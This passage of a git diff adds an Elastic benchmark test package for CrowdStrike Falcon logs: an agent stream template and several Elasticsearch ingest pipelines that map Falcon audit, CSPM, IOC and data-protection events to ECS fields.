b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/agent/stream/log.yml.hbs new file mode 100644 index 0000000000..f06f0a6c29 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/agent/stream/log.yml.hbs @@ -0,0 +1,26 @@ +paths: +{{#each paths as |path i|}} + - {{path}} +{{/each}} +exclude_files: ['\.gz$'] +# Crowdstrike Falcon SIEM connector logs are multiline JSON by default +multiline.pattern: '^{' +multiline.negate: true +multiline.match: after +multiline.max_lines: 5000 +multiline.timeout: 10 +tags: +{{#if preserve_original_event}} + - preserve_original_event +{{/if}} +{{#each tags as |tag i|}} + - {{tag}} +{{/each}} +{{#contains "forwarded" tags}} +publisher_pipeline.disable_host: true +{{/contains}} +allow_deprecated_use: true +{{#if processors}} +processors: +{{processors}} +{{/if}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/auth_activity_audit.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/auth_activity_audit.yml new file mode 100644 index 0000000000..5246d157d7 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/auth_activity_audit.yml @@ -0,0 +1,97 @@ +--- +processors: + - set: + tag: set_event_kind_de80643c + field: event.kind + value: event + - append: + field: event.category + value: iam + tag: append_iam_category + if: ctx.crowdstrike?.event?.OperationName != null && !["twoFactorAuthenticate", "userAuthenticate"].contains(ctx.crowdstrike.event.OperationName) + - append: + field: event.category + value: authentication + tag: append_auth_category + if: ctx.crowdstrike?.event?.OperationName != null && ["twoFactorAuthenticate", "userAuthenticate"].contains(ctx.crowdstrike.event.OperationName) + - append: + field: event.type + value: user + tag: append_user_type + if: ctx.crowdstrike?.event?.OperationName != null && ["activateUser", "changePassword", "confirmResetPassword", "deactivateUser", "grantUserRoles", "grantCustomerSubscriptions", "revokeUserRoles", "revokeCustomerSubscriptions", "updateUser", "updateUserRoles"].contains(ctx.crowdstrike.event.OperationName) + - append: + field: event.type + value: change + tag: append_change_type + if: ctx.crowdstrike?.event?.OperationName != null && ["activateUser", "changePassword", "confirmResetPassword", "deactivateUser", "grantUserRoles", "grantCustomerSubscriptions", "revokeUserRoles", "revokeCustomerSubscriptions", "updateUser", "updateUserRoles"].contains(ctx.crowdstrike.event.OperationName) + - append: + field: event.type + value: creation + tag: append_creation_type + if: ctx.crowdstrike?.event?.OperationName != null && ctx.crowdstrike.event.OperationName == "createUser" + - append: + field: event.type + value: deletion + tag: append_deletion_type + if: ctx.crowdstrike?.event?.OperationName != null && ctx.crowdstrike.event.OperationName == "deleteUser" + - grok: + tag: grok_crowdstrike_event_UserId_70ae09b7 + field: crowdstrike.event.UserId + patterns: + - '%{USERNAME:user.name}@%{HOSTNAME:user.domain}' + - '%{GREEDYDATA:user.name}' + ignore_missing: true + ignore_failure: true + - set: + field: user.email + copy_from: crowdstrike.event.UserId + tag: copy_user_email + if: ctx.crowdstrike?.event?.UserId != null && ctx.crowdstrike.event.UserId.indexOf("@") > 0 + - append: + field: event.action + value: '{{{crowdstrike.event.OperationName}}}' + tag: append_operation_name + if: ctx.crowdstrike?.event?.OperationName != null + - append: + field: event.action + value: AuthActivityAuditEvent + tag: append_auth_activity_audit_event + if: ctx.event?.action == null + - set: + field: event.outcome + value: success + tag: set_success_outcome + if: ctx.crowdstrike?.event?.Success == true + - set: + field: event.outcome + value: failure + tag: set_failure_outcome + if: ctx.crowdstrike?.event?.Success == false + - set: + field: event.outcome + value: unknown + tag: set_unknown_outcome + if: ctx.event?.outcome == null + - rename: + field: crowdstrike.event.ServiceName + target_field: message + tag: rename_service_name + ignore_missing: true + - rename: + field: crowdstrike.event.UserIp + target_field: source.ip + tag: rename_user_ip + ignore_missing: true + +on_failure: + - append: + field: error.message + value: |- + Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}" + - set: + field: event.kind + value: pipeline_error + - append: + field: tags + value: preserve_original_event + allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/cspm_events.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/cspm_events.yml new file mode 100644 index 0000000000..2d52e72e62 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/cspm_events.yml @@ -0,0 +1,171 @@ +--- +processors: + - set: + tag: set_event_kind_39295792 + field: event.kind + value: alert + - append: + field: event.category + value: configuration + tag: append_configuration_category + - append: + field: event.type + value: + - info + - change + tag: append_info_change_type + - set: + tag: set_event_outcome_312fe321 + field: event.outcome + value: success + if: ctx.crowdstrike?.event?.Disposition == "Passed" + - set: + tag: set_event_outcome_6c6787f5 + field: event.outcome + value: failure + if: ctx.crowdstrike?.event?.Disposition == "Failed" + - rename: + field: crowdstrike.event.EventAction + target_field: event.action + ignore_missing: true + tag: rename_event_action + - rename: + field: crowdstrike.event.ReportUrl + target_field: event.reference + ignore_missing: true + tag: rename_event_resource_url + - json: + field: crowdstrike.event.ResourceAttributes + tag: decode_json_resource_attributes + if: ctx.crowdstrike?.event?.ResourceAttributes != null + - rename: + field: crowdstrike.event.EventSource + target_field: event.provider + ignore_missing: true + tag: rename_event_source + - rename: + field: crowdstrike.event.AccountId + target_field: cloud.account.id + ignore_missing: true + if: ctx.cloud?.account?.id == null + tag: rename_cloud_account_id + - rename: + field: crowdstrike.event.Region + target_field: cloud.region + ignore_missing: true + if: ctx.cloud?.region == null + tag: rename_cloud_region + #CSPMS uses Platform, CSPMIOA uses Provider + - rename: + field: crowdstrike.event.CloudProvider + target_field: cloud.provider + ignore_missing: true + if: ctx.cloud?.provider == null + tag: rename_cloud_provider + - rename: + field: crowdstrike.event.CloudPlatform + target_field: cloud.provider + ignore_missing: true + if: ctx.cloud?.provider == null + tag: rename_cloud_platform + - rename: + field: crowdstrike.event.CloudService + target_field: cloud.service.name + ignore_missing: true + if: ctx.cloud?.service?.name == null + tag: rename_cloud_service + - rename: + field: crowdstrike.event.PolicyStatement + target_field: message + ignore_missing: true + tag: rename_policy_statement + - rename: + field: crowdstrike.event.UserName + target_field: user.name + ignore_missing: true + tag: rename_user_name + - rename: + field: crowdstrike.event.UserId + target_field: user.id + ignore_missing: true + tag: rename_user_id + - rename: + field: crowdstrike.event.UserSourceIp + target_field: source.ip + ignore_missing: true + tag: rename_user_source_ip + - date: + field: crowdstrike.event.Timestamp + target_field: "@timestamp" + timezone: UTC + formats: + - UNIX_MS + tag: date_timestamp_ms + if: "ctx.crowdstrike?.event?.Timestamp != null && String.valueOf(ctx.crowdstrike.event.Timestamp).length() >= 12" + - date: + field: crowdstrike.event.Timestamp + target_field: "@timestamp" + timezone: UTC + formats: + - UNIX + tag: date_timestamp + if: 'ctx.crowdstrike?.event?.Timestamp != null && String.valueOf(ctx.crowdstrike.event.Timestamp).length() <= 11' + - date: + field: crowdstrike.event.EventCreatedTimestamp + target_field: "@timestamp" + timezone: UTC + formats: + - UNIX_MS + tag: date_event_created_timestamp_ms + if: "ctx.crowdstrike?.event?.EventCreatedTimestamp != null && String.valueOf(ctx.crowdstrike.event.EventCreatedTimestamp).length() >= 12" + - date: + field: crowdstrike.event.EventCreatedTimestamp + target_field: "@timestamp" + timezone: UTC + formats: + - UNIX + tag: date_event_created_timestamp + if: 'ctx.crowdstrike?.event?.EventCreatedTimestamp != null && String.valueOf(ctx.crowdstrike.event.EventCreatedTimestamp).length() <= 11' + - remove: + field: crowdstrike.event.ResourceCreateTime + ignore_missing: true + tag: remove_resource_create_time + if: ctx.crowdstrike?.event?.ResourceCreateTime != null && ctx.crowdstrike.event.ResourceCreateTime == 0 + - date: + field: crowdstrike.event.ResourceCreateTime + target_field: crowdstrike.event.ResourceCreateTime + timezone: UTC + formats: + - UNIX_MS + tag: date_resource_create_time_ms + if: "ctx.crowdstrike?.event?.ResourceCreateTime != null && ctx.crowdstrike.event.ResourceCreateTime != 0 && String.valueOf(ctx.crowdstrike.event.ResourceCreateTime).length() >= 12" + - date: + field: crowdstrike.event.ResourceCreateTime + target_field: crowdstrike.event.ResourceCreateTime + timezone: UTC + formats: + - UNIX + tag: date_resource_create_time + if: 'ctx.crowdstrike?.event?.ResourceCreateTime != null && ctx.crowdstrike.event.ResourceCreateTime != 0 && String.valueOf(ctx.crowdstrike.event.ResourceCreateTime).length() <= 11' + - append: + field: threat.tactic.name + value: "{{{crowdstrike.event.Tactic}}}" + tag: append_tactic_name + if: ctx.crowdstrike?.event?.Tactic != null + - append: + field: threat.technique.name + value: "{{{crowdstrike.event.Technique}}}" + tag: append_technique_name + if: ctx.crowdstrike?.event?.Technique != null +on_failure: + - append: + field: error.message + value: |- + Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}" + - set: + field: event.kind + value: pipeline_error + - append: + field: tags + value: preserve_original_event + allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/customer_ioc_event.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/customer_ioc_event.yml new file mode 100644 index 0000000000..cc25d2bf9c --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/customer_ioc_event.yml @@ -0,0 +1,218 @@ +--- +description: Pipeline for processing customer IOC event logs. +processors: + - set: + field: event.kind + value: enrichment + tag: set_event_kind_to_enrichment + - append: + field: event.category + value: threat + tag: append_event_category_threat + - append: + field: event.type + value: indicator + tag: append_event_type_indicator + - set: + field: host.hostname + tag: set_host_hostname_from_event_ComputerName + copy_from: crowdstrike.event.ComputerName + ignore_empty_value: true + - set: + field: host.name + tag: set_host_name_from_event_ComputerName + copy_from: crowdstrike.event.ComputerName + ignore_empty_value: true + - set: + field: host.id + tag: set_host_id_from_event_DeviceId + copy_from: crowdstrike.event.DeviceId + ignore_empty_value: true + - set: + field: file.name + tag: set_file_name_from_event_FileName + copy_from: crowdstrike.event.FileName + ignore_empty_value: true + - set: + field: file.path + tag: set_file_path_from_event_FilePath + copy_from: crowdstrike.event.FilePath + ignore_empty_value: true + - convert: + field: crowdstrike.event.IPv4 + tag: convert_IPv4_to_ip + target_field: threat.indicator.ip + type: ip + ignore_missing: true + if: ctx.crowdstrike?.event?.IPv4 != '' + on_failure: + - append: + tag: append_error_message_3dc7a86b + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: crowdstrike.event.IPv6 + tag: convert_IPv6_to_ip + target_field: threat.indicator.ip + type: ip + ignore_missing: true + if: ctx.crowdstrike?.event?.IPv6 != '' + on_failure: + - append: + tag: append_error_message_ba148e71 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - geoip: + tag: geoip_threat_indicator_ip_to_threat_indicator_geo_1b4aa382 + field: threat.indicator.ip + target_field: threat.indicator.geo + ignore_missing: true + - geoip: + tag: geoip_threat_indicator_ip_to_threat_indicator_as_22b400d3 + database_file: GeoLite2-ASN.mmdb + field: threat.indicator.ip + target_field: threat.indicator.as + properties: + - asn + - organization_name + ignore_missing: true + - rename: + tag: rename_threat_indicator_as_asn_to_threat_indicator_as_number_3cdd79f1 + field: threat.indicator.as.asn + target_field: threat.indicator.as.number + ignore_missing: true + - rename: + tag: rename_threat_indicator_as_organization_name_to_threat_indicator_as_organization_name_dcd73ab7 + field: threat.indicator.as.organization_name + target_field: threat.indicator.as.organization.name + ignore_missing: true + - set: + field: process.parent.entity_id + tag: set_process_parent_entity_id_from_event_ParentProcessId + copy_from: crowdstrike.event.ParentProcessId + ignore_empty_value: true + - set: + field: process.entity_id + tag: set_process_entity_id_from_event_ProcessId + copy_from: crowdstrike.event.ProcessId + ignore_empty_value: true + - date: + field: crowdstrike.event.ProcessStartTime + tag: date_ProcessStartTime + target_field: process.start + formats: + - UNIX + if: ctx.crowdstrike?.event?.ProcessStartTime != null && ctx.crowdstrike.event.ProcessStartTime != '' + on_failure: + - append: + tag: append_error_message_f483d3bc + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + # set threat indicator name based on available fields in the event. Only one field will be available at a time. + - set: + field: threat.indicator.name + tag: set_threat_indicator_name_from_event_SHA256String + copy_from: crowdstrike.event.SHA256String + ignore_empty_value: true + - set: + field: threat.indicator.name + tag: set_threat_indicator_name_from_event_MD5String + copy_from: crowdstrike.event.MD5String + ignore_empty_value: true + - set: + field: threat.indicator.name + tag: set_threat_indicator_name_from_event_DomainName + copy_from: crowdstrike.event.DomainName + ignore_empty_value: true + - set: + field: threat.indicator.name + tag: set_threat_indicator_name_from_event_IPv4 + copy_from: crowdstrike.event.IPv4 + ignore_empty_value: true + - set: + field: threat.indicator.name + tag: set_threat_indicator_name_from_event_IPv6 + copy_from: crowdstrike.event.IPv6 + ignore_empty_value: true + # set threat indicator type based on available fields in the event. Only one field will be available at a time. + - set: + field: threat.indicator.type + tag: set_threat_indicator_type_to_ip_v4_addr + value: ipv4-addr + if: ctx.crowdstrike?.event?.IPv4 != null + - set: + field: threat.indicator.type + tag: set_threat_indicator_type_to_ip_v6_addr + value: ipv6-addr + if: ctx.crowdstrike?.event?.IPv6 != null + - set: + field: threat.indicator.type + tag: set_threat_indicator_type_to_domain_name + value: domain-name + if: ctx.crowdstrike?.event?.DomainName != null + - set: + field: threat.indicator.type + tag: set_threat_indicator_type_to_file + value: file + if: ctx.crowdstrike?.event?.SHA256String != null || ctx.crowdstrike?.event?.MD5String != null + - append: + field: related.ip + value: '{{{threat.indicator.ip}}}' + allow_duplicates: false + tag: append_related_ip + if: ctx.threat?.indicator?.ip != null && ctx.threat.indicator.ip != "" + - append: + field: related.hash + value: '{{{crowdstrike.event.SHA256String}}}' + allow_duplicates: false + tag: append_related_hash + if: ctx.crowdstrike?.event?.SHA256String != null && ctx.crowdstrike.event.SHA256String != "" + - append: + field: related.hash + value: '{{{crowdstrike.event.MD5String}}}' + allow_duplicates: false + tag: append_related_hash_b422ad09 + if: ctx.crowdstrike?.event?.MD5String != null && ctx.crowdstrike.event.MD5String != "" + - append: + field: related.hosts + value: '{{{crowdstrike.event.DomainName}}}' + allow_duplicates: false + tag: append_related_hosts + if: ctx.crowdstrike?.event?.DomainName != null && ctx.crowdstrike.event.DomainName != "" + - remove: + field: + - crowdstrike.event.ComputerName + - crowdstrike.event.DeviceId + - crowdstrike.event.FileName + - crowdstrike.event.FilePath + - crowdstrike.event.ParentProcessId + - crowdstrike.event.ProcessId + - crowdstrike.event.ProcessStartTime + tag: remove_custom_duplicate_fields + ignore_missing: true + - set: + field: event.kind + tag: set_pipeline_error_into_event_kind + value: pipeline_error + if: ctx.error?.message != null + - append: + tag: append_tags_9fe66b2c + field: tags + value: preserve_original_event + allow_duplicates: false + if: ctx.error?.message != null +on_failure: + - append: + field: error.message + value: |- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}' + - set: + field: event.kind + tag: set_pipeline_error_to_event_kind + value: pipeline_error + - append: + field: tags + value: preserve_original_event + allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/data_protection_detection_summary.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/data_protection_detection_summary.yml new file mode 100644 index 0000000000..e16e950f0b --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/data_protection_detection_summary.yml @@ -0,0 +1,310 @@ +--- +description: Pipeline for processing Data Protection Detection Summary events. +processors: + # event categorization fields + - set: + field: event.kind + value: alert + tag: set_event_kind + - append: + field: event.category + value: malware + tag: append_malware_category + - append: + field: event.type + value: info + tag: append_info_type + + # converts + - convert: + field: crowdstrike.event.DataVolume + tag: convert_DataVolume_to_long + type: long + ignore_missing: true + on_failure: + - append: + tag: append_error_message_ab90b5c9 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: crowdstrike.event.ContentPatterns.ConfidenceLevel + tag: convert_ContentPatterns_ConfidenceLevel_to_long + type: long + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_event_ContentPatterns_ConfidenceLevel_b676cd34 + field: crowdstrike.event.ContentPatterns.ConfidenceLevel + - append: + tag: append_error_message_06f0ca6b + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: crowdstrike.event.ContentPatterns.MatchCount + tag: convert_ContentPatterns_MatchCount_to_long + type: long + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_event_ContentPatterns_MatchCount_80ca383c + field: crowdstrike.event.ContentPatterns.MatchCount + - append: + tag: append_error_message_3c072e8f + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: crowdstrike.event.FilesEgressedCount + tag: convert_FilesEgressedCount_to_long + type: long + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_event_FilesEgressedCount_2907b839 + field: crowdstrike.event.FilesEgressedCount + - append: + tag: append_error_message_6339ac56 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: crowdstrike.event.UserNotified + tag: convert_UserNotified_to_boolean + type: boolean + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_event_UserNotified_35bb8357 + field: crowdstrike.event.UserNotified + - append: + tag: append_error_message_a6eea08b + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: crowdstrike.event.UserMapped + tag: convert_UserMapped_to_boolean + type: boolean + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_event_UserMapped_87635939 + field: crowdstrike.event.UserMapped + - append: + tag: append_error_message_09142f9e + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: crowdstrike.event.IsClipboard + tag: convert_IsClipboard_to_boolean + type: boolean + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_event_IsClipboard_a661bb33 + field: crowdstrike.event.IsClipboard + - append: + tag: append_error_message_3be036d0 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + field: crowdstrike.event.EventTimestamp + tag: date_EventTimestamp + target_field: crowdstrike.event.EventTimestamp + timezone: UTC + formats: + - UNIX + if: ctx.crowdstrike?.event?.EventTimestamp != null + on_failure: + - append: + tag: append_error_message_061def81 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + # Anomaly-based detections contains SessionStartTimestamp and SessionEndTimestamp fields + - date: + field: crowdstrike.event.SessionStartTimestamp + tag: date_SessionStartTimestamp + target_field: 'event.start' + timezone: UTC + formats: + - UNIX + if: ctx.crowdstrike?.event?.SessionStartTimestamp != null + on_failure: + - append: + tag: append_error_message_d22c109c + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + field: crowdstrike.event.SessionEndTimestamp + tag: date_SessionEndTimestamp + target_field: 'event.end' + timezone: UTC + formats: + - UNIX + if: ctx.crowdstrike?.event?.SessionEndTimestamp != null + on_failure: + - append: + tag: append_error_message_bcb83d0c + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - script: + description: Determine event.duration from event start and end date. + tag: script_to_set_event_duration + lang: painless + if: ctx.event?.start != null && ctx.event?.end != null + source: | + Instant event_start = ZonedDateTime.parse(ctx.event.start).toInstant(); + Instant event_end = ZonedDateTime.parse(ctx.event.end).toInstant(); + ctx.event['duration'] = ChronoUnit.NANOS.between(event_start, event_end); + on_failure: + - append: + tag: append_error_message_16889e98 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + + # ECS mappings + - set: + field: message + tag: set_message_from_event_Description + copy_from: crowdstrike.event.Description + ignore_empty_value: true + - set: + field: event.id + tag: set_event_id_from_event_EgressEventId + copy_from: crowdstrike.event.EgressEventId + ignore_empty_value: true + - set: + field: event.action + tag: set_event_action_from_event_Name + copy_from: crowdstrike.event.Name + ignore_empty_value: true + - set: + field: event.reference + tag: set_event_reference_from_event_FalconHostLink + copy_from: crowdstrike.event.FalconHostLink + ignore_empty_value: true + - set: + field: event.outcome + tag: set_event_outcome_success + value: success + if: ctx.crowdstrike?.event?.ResponseAction == 'allowed' + - set: + field: event.outcome + tag: set_event_outcome_failure + value: failure + if: ctx.crowdstrike?.event?.ResponseAction == 'blocked' + - set: + field: event.outcome + tag: set_event_outcome_unknown + value: unknown + override: false + - set: + field: file.hash.sha256 + tag: set_file_hash_sha256_from_event_ContentSha + copy_from: crowdstrike.event.ContentSha + ignore_empty_value: true + - append: + field: related.hash + tag: append_file_hash_sha256_to_related_hash + value: '{{{file.hash.sha256}}}' + allow_duplicates: false + if: ctx.file?.hash?.sha256 != null + - set: + field: file.name + tag: set_file_name_from_event_Filename + copy_from: crowdstrike.event.Filename + ignore_empty_value: true + - script: + lang: painless + tag: extract_file_extension_from_filename + if: ctx.crowdstrike?.event?.Filename != null + source: |- + def idx = ctx.crowdstrike.event.Filename.lastIndexOf('.'); + if (idx != -1) { + ctx.file = ctx.file ?: [:]; + ctx.file.extension = ctx.crowdstrike.event.Filename.substring(idx + 1).toLowerCase(); + } + on_failure: + - append: + tag: append_error_message_e648f418 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: file.size + tag: set_file_size_from_event_DataVolume + copy_from: crowdstrike.event.DataVolume + ignore_empty_value: true + - set: + field: host.name + tag: set_host_name_from_event_Hostname + copy_from: crowdstrike.event.Hostname + ignore_empty_value: true + - lowercase: + field: crowdstrike.event.Platform + tag: lowercase_Platform + target_field: host.os.platform + ignore_missing: true + - set: + field: rule.id + tag: set_rule_id_from_event_policy_id + copy_from: crowdstrike.event.Policy.ID + ignore_empty_value: true + - set: + field: rule.name + tag: set_rule_name_from_event_policy_name + copy_from: crowdstrike.event.Policy.Name + ignore_empty_value: true + - set: + field: user.id + tag: set_user_id_from_event_UserSid + copy_from: crowdstrike.event.UserSid + ignore_empty_value: true + - set: + field: user.name + tag: set_user_name_from_event_UserName + copy_from: crowdstrike.event.UserName + ignore_empty_value: true + + # clean up + - remove: + field: + - crowdstrike.event.ContentSha + - crowdstrike.event.DataVolume + - crowdstrike.event.Description + - crowdstrike.event.EgressEventId + - crowdstrike.event.FalconHostLink + - crowdstrike.event.Filename + - crowdstrike.event.Hostname + - crowdstrike.event.Name + - crowdstrike.event.Platform + - crowdstrike.event.Policy + - crowdstrike.event.SessionStartTimestamp + - crowdstrike.event.SessionEndTimestamp + - crowdstrike.event.UserSid + tag: remove_custom_duplicate_fields + ignore_missing: true + + # error handling + - set: + field: event.kind + tag: set_pipeline_error_into_event_kind + value: pipeline_error + if: ctx.error?.message != null + - append: + tag: append_tags_9fe66b2c + field: tags + value: preserve_original_event + allow_duplicates: false + if: ctx.error?.message != null +on_failure: + - append: + field: error.message + value: |- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}' + - set: + field: event.kind + tag: set_pipeline_error_to_event_kind + value: pipeline_error + - append: + field: tags + value: preserve_original_event + allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/default.yml new file mode 100644 index 0000000000..72bcccbaca --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/default.yml @@ -0,0 +1,669 @@ +--- +description: Ingest pipeline for normalizing CrowdStrike Falcon logs +processors: + - remove: + field: + - organization + - division + - team + ignore_missing: true + if: ctx.organization instanceof String && ctx.division instanceof String && ctx.team instanceof String + tag: remove_agentless_tags + description: >- + Removes the fields added by Agentless as metadata, + as they can collide with ECS fields. + - set: + tag: set_ecs_version_f5923549 + field: ecs.version + value: '8.17.0' + - rename: + field: message + tag: rename_message_to_event_original + target_field: event.original + ignore_missing: true + description: Renames the original `message` field to `event.original` to store a copy of the original message. The `event.original` field is not touched if the document already has one; it may happen when Logstash sends the document. + if: ctx.event?.original == null + - remove: + field: message + tag: remove_message + ignore_missing: true + description: The `message` field is no longer required if the document has an `event.original` field. + if: ctx.event?.original != null + - json: + field: event.original + tag: json_event_original + target_field: crowdstrike + on_failure: + - append: + tag: append_error_message_8bb0f55c + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - drop: + tag: drop_non_object_crowdstrike + description: Drop documents where parsed event.original is not a JSON object (e.g. HTTP status 400). These cannot be meaningfully processed and would cause mapping conflicts. + if: ctx.crowdstrike != null && !(ctx.crowdstrike instanceof Map) + - remove: + tag: remove_981d9741 + field: + - host.name + ignore_missing: true + - set: + tag: set_observer_vendor_c6436b11 + field: observer.vendor + value: Crowdstrike + - set: + tag: set_observer_product_8aa28b50 + field: observer.product + value: Falcon + # Can be both string and int, depending on type, should always be string, field is mapped as keyword + - convert: + field: crowdstrike.event.IncidentType + type: string + tag: convert_incident_type + ignore_missing: true + # Can be both string and int, depending on type, should always be string, field is mapped as keyword + - convert: + field: crowdstrike.event.PatternId + type: string + tag: convert_pattern_id + ignore_missing: true + # Script to convert windows NT timestamp to unix timestamp + - script: + tag: convert-nt-timestamp-to-unix + description: Convert Windows NT timestamps to UNIX timestamps for multiple fields. + lang: painless + if: ctx.crowdstrike?.event instanceof Map + params: + values: + - 'StartTime' + - 'EndTime' + - 'ContextTimeStamp' + - 'EndTimestamp' + - 'IncidentEndTime' + - 'IncidentStartTime' + - 'ItemPostedTimestamp' + - 'MatchedTimestamp' + - 'MostRecentActivityTimeStamp' + - 'PrecedingActivityTimeStamp' + - 'StartTimestamp' + - 'UTCTimestamp' + # Process to convert LDAP/WIN32 FILETIME to Unix (milliseconds) timestamp. + # More details can be found here https://devblogs.microsoft.com/oldnewthing/20030905-02/?p=42653 and here https://www.epochconverter.com/ldap + source: | + def convertToUnix(def longValue) { + if (longValue > 0x0100000000000000L) { + return (longValue / 10000) - 11644473600000L; + } + return longValue; + } + + for (def field : params.values) { + def fieldValue = ctx.crowdstrike.event[field]; + if (fieldValue != null) { + if (fieldValue instanceof long) { + ctx.crowdstrike.event[field] = convertToUnix(fieldValue); + } else if (fieldValue instanceof String) { + if (!fieldValue.contains('.')) { + def timestamp = Long.parseLong(fieldValue); + ctx.crowdstrike.event[field] = convertToUnix(timestamp); + } + } + } + } + # Handle event Tags, which can be a string or a list of maps. + - script: + tag: convert-Tags-and-copy-to-tags + description: Convert tags from nested type and append to ctx.tags. + lang: painless + if: ctx.crowdstrike?.event?.Tags != null + source: | + if (ctx.crowdstrike.event.Tags instanceof List) { + for (tag in 